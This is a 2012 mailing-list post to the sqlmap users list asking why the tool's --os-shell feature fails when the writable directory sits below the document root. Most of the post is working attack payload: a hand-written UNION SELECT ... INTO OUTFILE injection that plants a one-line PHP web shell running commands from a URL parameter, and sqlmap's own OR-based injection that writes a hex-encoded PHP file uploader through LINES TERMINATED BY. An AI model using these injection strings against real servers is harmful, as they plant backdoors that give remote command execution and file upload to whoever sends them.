[sqlmap-users] --os-shell error
Brought to you by:
inquisb
|
From: Ahmed S. <ah...@is...> - 2012-05-02 21:07:21
|
While using sqlmap with --os-shell I found that it only works if the writable directory is on the DOCUMENT_ROOT directly and if it exists on another dir sqlmap successfully uploads the php file but it couldn't connect through it Looks like it's cuz of the union garbage if so why does sqlmap sends the query like this -7440' OR 6498=6498 LIMIT 1 INTO OUTFILE instead or trying the union statement ? Here's data I sent manually to the application ' UNION ALL SELECT "<?php system($_GET['cmd']); ?>",NULL,NULL,NULL INTO OUTFILE "/opt/lampp/htdocs/uploads/test.php"# and here's sqlmap payload: -7440' OR 6498=6498 LIMIT 1 INTO OUTFILE 's/scope/sqli/tmpuywdg.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d2929207b0a20202020246469723d245f524551554553545b2275706c6f6164446972225d3b0a0a202020206966202870687076657273696f6e2829203c2027342e312e3027290a202020207b0a20202020202020202466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b0a2020202020202020406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c2024646972202e20222f22202e202466696c6529206f722064696528293b0a202020207d0a20202020656c73650a202020207b0a20202020202020202466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b0a2020202020202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c2024646972202e20222f22202e202466696c6529206f722064696528293b0a202020207d0a202020204063686d6f642824646972202e20222f22202e202466696c652c2030373535293b0a202020206563686f202246696c652075706c6f61646564223b0a7d0a656c7365207b0a202020206563686f20223c666f726d20616374696f6e3d22202e20245f5345525645525b225048505f53454c46225d202e2022206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d732f73636f70652f73716c693e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b0a7d0a3f3e0a -- Also LINES TERMINATED BY worked for me Thanks in advance -- - Ahmed Shawky El-Antry - lnxg33k owner "http://lnxg33k.wordpress.com" - Isecur1ty team member"http://www.isecur1ty.org" - Twitter @lnxg33k |